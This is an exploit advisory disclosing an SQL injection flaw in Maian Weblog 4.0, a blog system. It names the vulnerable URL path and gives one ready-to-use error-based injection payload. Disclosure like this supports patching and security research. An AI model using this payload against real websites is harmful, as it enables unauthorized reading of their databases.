Maian Weblog 4.0 - SQL Injection

Introduction

Exploit Title: Maian Weblog – SQL Injection
Date: 27.01.2017
Vendor Homepage: http://www.maianweblog.com/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits
 
Overview
 
Simple blog system for your website, Easily add/edit or delete blogs, Allow visitor comments for individual blogs, Optional e-mail notification for webmaster if comments are posted, Edit or delete visitor comments, BB Code, Calendar so visitors can view past archives, Support for multi language files, Show latest blogs/comments on blog page, Uses the Savant template engine.

Type of vulnerability:

An SQL Injection vulnerability in Maian Weblog allows attackers to read
arbitrary data from the database.

Vulnerable Url:

http://locahost/weblog/blog/2[payload]/second-blog.html
Mehod : GET

Simple Payload:
blog/2' AND (SELECT 2995 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(2995=2995,1))),0x717a787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'AUvx'='AUvx/q-blog.html